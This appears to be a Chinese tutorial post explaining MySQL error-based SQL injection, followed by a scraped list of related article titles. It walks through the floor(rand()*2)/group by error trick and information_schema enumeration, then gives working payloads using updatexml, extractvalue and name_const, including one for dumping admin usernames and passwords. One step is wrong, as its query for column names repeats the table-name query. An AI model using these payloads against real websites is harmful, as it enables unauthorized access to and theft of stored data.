用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的。如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询

创建一个test表

USE test;

CREATE TABLE test(numint(5));

INSERT INTO test VALUES(1);

INSERT INTO test VALUES(2);

INSERT INTO test VALUES(3);

INSERT INTO test VALUES(4);

SELECT*FROM test;

复制代码

主要涉及的mysql函数语句:1. Rand() #随机函数2. Floor() #取整函数3. CONUNT() #汇总函数4. Group by #分组语句

复制代码

原理:

当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来--源于安全研究人员

简单的例子:

use test;

复制代码

然后简单看一下CONCAT的用法

SELECT CONCAT("a","b");

复制代码

查询什么就出来什么,

下面分别看一下其它几个函数的作用

SELECT rand();

复制代码

Rand()函数,学过编程的人都应该知道是一个产生随机数的函数范围在(0,1)之间的浮点数

再看看floor()函数

SELECT floor(3.141216545);

复制代码

显而易见,是一个取整的函数

SELECT floor(rand()*2);

复制代码

Rand()的范围是(0,1)*2==>(0,2)

那么floor(rand()*2)取整后就是0和1两个数

SELECT CONCAT((SELECT database()),floor(rand()*2));

复制代码

如果我们将上面那句加上from某个表,就会返回test0和test1的集合,返回的长度有表的记录数决定 ,例如我们from一下test表。

返回了4行数据

那么,我们如何过滤掉这些重复的信息呢?

这里就要用到group by语句,group by的作用是:

用于结合合计函数,根据一个或多个列对结果集进行分组。

我们来查询一下

SELECT CONCAT((SELECT database()),floor(rand()*2)) as a fromtest group by a;

复制代码

这样就不会有那么多无用的信息

简单解释一下语句:

CONCAT((SELECT database()),floor(rand()*2)) asa 这个就是将列名重命名为a,看图对比一 下即可知道

Group by a就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面,因此我们看 到的数据就只有两个不同的

同理,我们可以将database()换成其它你想要查询的东西,如version(),@@data等。

而我们注入的时候通常是通过mysql的information_schema这个数据库来查询信息,

查询数据名就查询schemata的SCHEMA_NAME这个列

暴库select * frominformation_schema.schemata;

复制代码

里面就是我的数据名字

爆表

SELECT DISTINCT TABLE_NAME FROM information_schema.tables;

复制代码

爆列名

SELECT DISTINCT TABLE_NAME FROM information_schema.tables;

复制代码

太长了我就不截图了,自己去看看吧

爆字段就更简单了

直接查询就是

SELECT username,password FROM admin;

复制代码

假如存在这列名和表

知道这些后我们利用报错注入就可以,查询到我们想要的数据了select count(*), concat((select version()), floor(rand()*2))as a frominformation_schema.tables group by a;

复制代码

为了好看你可以加一些标记select count(*), concat('--',(select user()),'--', floor(rand()*2))as a frominformation_schema.tables group by a;

复制代码

更加高级的一点的就是,我们真正用到的双注入查询,是select的嵌套子查询,就是select里面还有一个select查询语句

通常是一种固定的格式,适用于没有回现位置和不能order by确定的注入

unionselect 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a frominformation_schema.tables group by a)b

蓝色部分就是我们之前讲的基本报错原理,而union是因为我们注入网站时,别人查询数据我 们使用union关键字进行联合查询,那如果人家使用的不是select查询呢?如果不是select,我们可以将这个语句嵌套到里面去就可,如使用or关键字等,进行查询,同样 可以进行注入,这个比较灵活

详情可以参考一下这篇文章

http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

本来想贴某云的地址的,但想想还是算了。

简单测试了一下,还是可以的,主要用到的代码是这几个

or updatexml(1,concat(0x7e,(version())),0) or ''or extractvalue(1,concat(0x7e,database())) or ''or (SELECT* FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ''复制代码

主要就是三种,还有一些其他的就不贴出来了,都是放在插入、删除和更新的字段后面

简单举个例子吧

insert into test values (5 or updatexml(1,concat(0x7e,(version())),0) or'');

复制代码

记得后面加两个单引号!

关于实例,可以论坛搜索,看30的帖子吧。这里就不做演示了

链接

http://bbs.blackbap.org/thread-2360-1-1.html

http://bbs.blackbap.org/thread-2235-1-1.html

PS:写的不好大牛勿喷,不知道排版怎么样,其实我在乎的是排版不是内容

写在最后,谢谢观看

参考文章:

http://www.cnseay.com/2363/

http://bugs.mysql.com/bug.php?id=8652

http://www.websec.ca/kb/sql_injection#MySQL_Specific_Code

mysql注入啥意思_【菜鸟学注入】之MySQL报错注入详解相关推荐

  1. 报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例

    「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 报错注入 一. ...

  2. SQLi LABS Less-13 报错注入+布尔盲注

    第十三关是单引号+括号的字符型注入,推荐使用报错注入.布尔盲注. 目录 一.功能分析 二.思路分析 三.解题步骤 方式一:报错注入 第一步.判断注入点 第二步.判断报错条件 第三步.脱库 方式二.布尔 ...

  3. SQLi LABS Less 17 报错注入

    第十七关单引号字符型注入 ,推荐使用报错注入. 一.功能分析 这关是一个修改密码的功能,先查询用户名是否正确. 如果用户名正确,后台就修改密码,并提示修改成功: 如果用户名错误,页面就直接返回修改失败 ...

  4. mysql爆表_十种Mysql报错注入

    一. and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tabl ...

  5. mysql中文注入_SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  6. mysql less6教程_Sqli labs系列-less-56 报错注入法(上)

    睡了一下午,晚上也没啥事,还特别精神,就想着,要不继续做做这个系列第五关和第六关吧,在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是 ...

  7. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  8. 05_SQL注入_功能语句报错注入盲注

    05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...

  9. mysql报错注入原理,MySQL报错注入

    什么是报错注入 SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果可以出现在错误信息中.我一位好友的博客写过一个SQL注入的专栏,除了报错注入以外,别的类型也写了,而且比较详细, ...

  10. phpcms mysql 事务_phpcms某站点MySQL报错注入

    phpcms某站点MySQL报错注入 Referer可注入:GET /index.php HTTP/1.1Referer: 123*User-Agent: Mozilla/5.0 (iPhone; C ...

最新文章

  1. 设置VSCode隐藏菜单栏快捷键Alt+T(头部)、隐藏状态栏快捷键Alt+B(底部),为单屏开发者腾出更多编码空间
  2. 一些关于找工作的书籍
  3. android 电源管理 关闭屏幕,Android之PowerManager电源管理
  4. 苹果签名分发系统需要什么配置的服务器呢,苹果/IOS超级签名分发系统
  5. mp4v2再学习 -- H264视频编码成MP4文件
  6. 二阶振荡衰减 matlab,基于Matlab/Simulink的二阶控制系统仿真研究
  7. C++中使用cin读取一组词存入vector后将其大写打印
  8. 如何让产品用户拥有一流的上传体验
  9. JS-面向对象-继承
  10. php 纯数组,PHP 数组
  11. JS中innerHTML 和innerText和value的区别
  12. 服务器版操作系统驱动精灵,驱动精灵2008 Beta 3发布
  13. [一本通]题解 1031
  14. 组合优化问题MATLAB程序,组合优化问题(一).ppt
  15. HTML 制作钓鱼网站实现跳转(简篇)
  16. 山东省计算机软件比赛,山东省大学生软件设计大赛报名通知
  17. 【thinkphp5.1】htmlentities() expects parameter 1 to be string, array given
  18. 慕容垂:百万战骨风云里——激荡的鲜卑史略之一(转载)
  19. 偏差代替误差进行稳态分析
  20. 基于单片机烟雾及温度报警器-火灾监测-毕设课设资料

热门文章

  1. D - 昂贵的聘礼(最短路径)
  2. python输入人名对话_对话框中的用户输入
  3. 2021-09-30安装windows10+ubuntu双系统
  4. python初级工程师面试题_Python工程师面试题
  5. 1t硬盘怎么分区最好_还在用128G Macbook?699元升级1T英睿达SSD
  6. vs 生成get set_使用EasyCode+Lombok快速生成增删查改的代码
  7. python画图显示中文_Python绘图实现显示中文
  8. java jar热加载技术_Java热加载(JRebel)与Devtools热部署
  9. imu 里程计融合_多传感器融合 RLINS概述
  10. python中使用什么关键字创建自定义函数_python自定义函数有哪些写法及用法